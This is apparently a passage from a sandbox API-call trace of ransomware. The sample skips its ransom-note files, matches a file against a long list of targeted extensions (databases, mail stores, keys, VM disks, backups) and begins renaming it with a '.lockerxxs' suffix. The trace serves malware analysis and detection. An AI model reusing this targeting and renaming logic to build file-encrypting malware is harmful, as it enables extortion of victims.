cFileName="sBjluBGQP91Wtj.wav", cAlternateFileName="SBJLUB~1.WAV")) returned 1 [0090.625] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.625] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sBjluBGQP91Wtj.wav") returned -1 [0090.625] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sBjluBGQP91Wtj.wav") returned -1 [0090.625] lstrcmpiA (lpString1="", lpString2="sBjluBGQP91Wtj.wav") returned -1 [0090.625] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav") returned="rTXihtxnjxkNUkKy3.wav" [0090.625] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" [0090.625] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="" [0090.625] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" [0090.625] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\how to decrypt files.txt")) returned 0x20 [0090.626] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="sBjluBGQP91Wtj.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav" [0090.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.ems") returned 0 [0090.626] lstrlenA (lpString="*.ems") returned 5 [0090.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.db") returned 0 [0090.626] lstrlenA (lpString="*.db") returned 4 [0090.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.dbf") returned 0 [0090.626] lstrlenA (lpString="*.dbf") returned 5 [0090.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.myox") returned 0 [0090.626] lstrlenA (lpString="*.myox") returned 6 [0090.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.myo") returned 0 [0090.626] lstrlenA (lpString="*.myo") returned 5 [0090.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.qbw") returned 0 [0090.626] lstrlenA (lpString="*.qbw") returned 5 [0090.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.qbb") returned 0 [0090.626] lstrlenA (lpString="*.qbb") returned 5 [0090.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.qbm") returned 0 [0090.626] lstrlenA (lpString="*.qbm") returned 5 [0090.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.qbo") returned 0 [0090.627] lstrlenA (lpString="*.qbo") returned 5 [0090.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.qbx") returned 0 [0090.627] lstrlenA (lpString="*.qbx") returned 5 [0090.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.qba") returned 0 [0090.627] lstrlenA (lpString="*.qba") returned 5 [0090.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.qby") returned 0 [0090.627] lstrlenA (lpString="*.qby") returned 5 [0090.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.qbj") returned 0 [0090.627] lstrlenA (lpString="*.qbj") returned 5 [0090.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.ofx") returned 0 [0090.627] lstrlenA (lpString="*.ofx") returned 5 [0090.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.qif") returned 0 [0090.627] lstrlenA (lpString="*.qif") returned 5 [0090.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.mye") returned 0 [0090.627] lstrlenA (lpString="*.mye") returned 5 [0090.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.mbox") returned 0 [0090.628] lstrlenA (lpString="*.mbox") returned 6 [0090.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.eml") returned 0 [0090.628] lstrlenA (lpString="*.eml") returned 5 [0090.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.pst") returned 0 [0090.628] lstrlenA (lpString="*.pst") returned 5 [0090.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.ost") returned 0 [0090.628] lstrlenA (lpString="*.ost") returned 5 [0090.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.idx") returned 0 [0090.628] lstrlenA (lpString="*.idx") returned 5 [0090.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.dbx") returned 0 [0090.628] lstrlenA (lpString="*.dbx") returned 5 [0090.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.sql") returned 0 [0090.628] lstrlenA (lpString="*.sql") returned 5 [0090.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.mdb") returned 0 [0090.628] lstrlenA (lpString="*.mdb") returned 5 [0090.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.fdb") returned 0 [0090.629] lstrlenA (lpString="*.fdb") returned 5 [0090.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.wab") returned 0 [0090.629] lstrlenA (lpString="*.wab") returned 5 [0090.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.dat") returned 0 [0090.629] lstrlenA (lpString="*.dat") returned 5 [0090.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.txt") returned 0 [0090.629] lstrlenA (lpString="*.txt") returned 5 [0090.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.jpeg") returned 0 [0090.629] lstrlenA (lpString="*.jpeg") returned 6 [0090.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.jpg") returned 0 [0090.629] lstrlenA (lpString="*.jpg") returned 5 [0090.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.png") returned 0 [0090.629] lstrlenA (lpString="*.png") returned 5 [0090.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.php") returned 0 [0090.629] lstrlenA (lpString="*.php") returned 5 [0090.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.cs") returned 0 [0090.629] lstrlenA (lpString="*.cs") returned 4 [0090.630] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.cpp") returned 0 [0090.630] lstrlenA (lpString="*.cpp") returned 5 [0090.630] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.rar") returned 0 [0090.630] lstrlenA (lpString="*.rar") returned 5 [0090.630] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.zip") returned 0 [0090.630] lstrlenA (lpString="*.zip") returned 5 [0090.630] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.html") returned 0 [0090.630] lstrlenA (lpString="*.html") returned 6 [0090.630] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.htm") returned 0 [0090.630] lstrlenA (lpString="*.htm") returned 5 [0090.630] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.xlsx") returned 0 [0090.630] lstrlenA (lpString="*.xlsx") returned 6 [0090.630] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.xls") returned 0 [0090.630] lstrlenA (lpString="*.xls") returned 5 [0090.630] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.mp4") returned 0 [0090.630] lstrlenA (lpString="*.mp4") returned 5 [0090.630] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.ppt") returned 0 [0090.630] lstrlenA (lpString="*.ppt") returned 5 [0090.631] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.pptx") returned 0 [0090.631] lstrlenA (lpString="*.pptx") returned 6 [0090.631] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.doc") returned 0 [0090.631] lstrlenA (lpString="*.doc") returned 5 [0090.631] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.dot") returned 0 [0090.631] lstrlenA (lpString="*.dot") returned 5 [0090.631] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.docx") returned 0 [0090.631] lstrlenA (lpString="*.docx") returned 6 [0090.631] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.7z") returned 0 [0090.631] lstrlenA (lpString="*.7z") returned 4 [0090.631] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.tar") returned 0 [0090.631] lstrlenA (lpString="*.tar") returned 5 [0090.631] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.bz2") returned 0 [0090.631] lstrlenA (lpString="*.bz2") returned 5 [0090.631] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.gz") returned 0 [0090.631] lstrlenA (lpString="*.gz") returned 4 [0090.631] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.mkv") returned 0 [0090.631] lstrlenA (lpString="*.mkv") returned 5 [0090.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.eml") returned 0 [0090.632] lstrlenA (lpString="*.eml") returned 5 [0090.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.msg") returned 0 [0090.632] lstrlenA (lpString="*.msg") returned 5 [0090.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.edb") returned 0 [0090.632] lstrlenA (lpString="*.edb") returned 5 [0090.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.accdb") returned 0 [0090.632] lstrlenA (lpString="*.accdb") returned 7 [0090.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.odb") returned 0 [0090.632] lstrlenA (lpString="*.odb") returned 5 [0090.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.java") returned 0 [0090.632] lstrlenA (lpString="*.java") returned 6 [0090.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.asm") returned 0 [0090.632] lstrlenA (lpString="*.asm") returned 5 [0090.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.pfx") returned 0 [0090.632] lstrlenA (lpString="*.pfx") returned 5 [0090.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.pem") returned 0 [0090.633] lstrlenA (lpString="*.pem") returned 5 [0090.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.p12") returned 0 [0090.633] lstrlenA (lpString="*.p12") returned 5 [0090.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.gpg") returned 0 [0090.633] lstrlenA (lpString="*.gpg") returned 5 [0090.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.vsd") returned 0 [0090.633] lstrlenA (lpString="*.vsd") returned 5 [0090.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.odg") returned 0 [0090.634] lstrlenA (lpString="*.odg") returned 5 [0090.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.raw") returned 0 [0090.634] lstrlenA (lpString="*.raw") returned 5 [0090.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.nef") returned 0 [0090.634] lstrlenA (lpString="*.nef") returned 5 [0090.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.svg") returned 0 [0090.635] lstrlenA (lpString="*.svg") returned 5 [0090.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.psd") returned 0 [0090.635] lstrlenA (lpString="*.psd") returned 5 [0090.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.vmx") returned 0 [0090.635] lstrlenA (lpString="*.vmx") returned 5 [0090.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.vmdk") returned 0 [0090.635] lstrlenA (lpString="*.vmdk") returned 6 [0090.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.vdi") returned 0 [0090.635] lstrlenA (lpString="*.vdi") returned 5 [0090.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.lay6") returned 0 [0090.635] lstrlenA (lpString="*.lay6") returned 6 [0090.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.mpeg") returned 0 [0090.635] lstrlenA (lpString="*.mpeg") returned 6 [0090.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.djvu") returned 0 [0090.635] lstrlenA (lpString="*.djvu") returned 6 [0090.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.tiff") returned 0 [0090.635] lstrlenA (lpString="*.tiff") returned 6 [0090.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.backup") returned 0 [0090.636] lstrlenA (lpString="*.backup") returned 8 [0090.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.pdf") returned 0 [0090.636] lstrlenA (lpString="*.pdf") returned 5 [0090.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.cert") returned 0 [0090.636] lstrlenA (lpString="*.cert") returned 6 [0090.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.docm") returned 0 [0090.636] lstrlenA (lpString="*.docm") returned 6 [0090.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.xlsm") returned 0 [0090.636] lstrlenA (lpString="*.xlsm") returned 6 [0090.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.dwg") returned 0 [0090.636] lstrlenA (lpString="*.dwg") returned 5 [0090.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.nd") returned 0 [0090.636] lstrlenA (lpString="*.nd") returned 4 [0090.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.tlg") returned 0 [0090.636] lstrlenA (lpString="*.tlg") returned 5 [0090.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.lgb") returned 0 [0090.637] lstrlenA (lpString="*.lgb") returned 5 [0090.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.mov") returned 0 [0090.637] lstrlenA (lpString="*.mov") returned 5 [0090.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.xdw") returned 0 [0090.637] lstrlenA (lpString="*.xdw") returned 5 [0090.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.ods") returned 0 [0090.637] lstrlenA (lpString="*.ods") returned 5 [0090.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", pszSpec="*.wav") returned 1 [0090.637] lstrlenA (lpString="*.wav") returned 5 [0090.637] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav" [0090.637] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav" [0090.637] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav." [0090.637] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav.lockerxxs" [0090.637] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\sbjlubgqp91wtj.wav"), 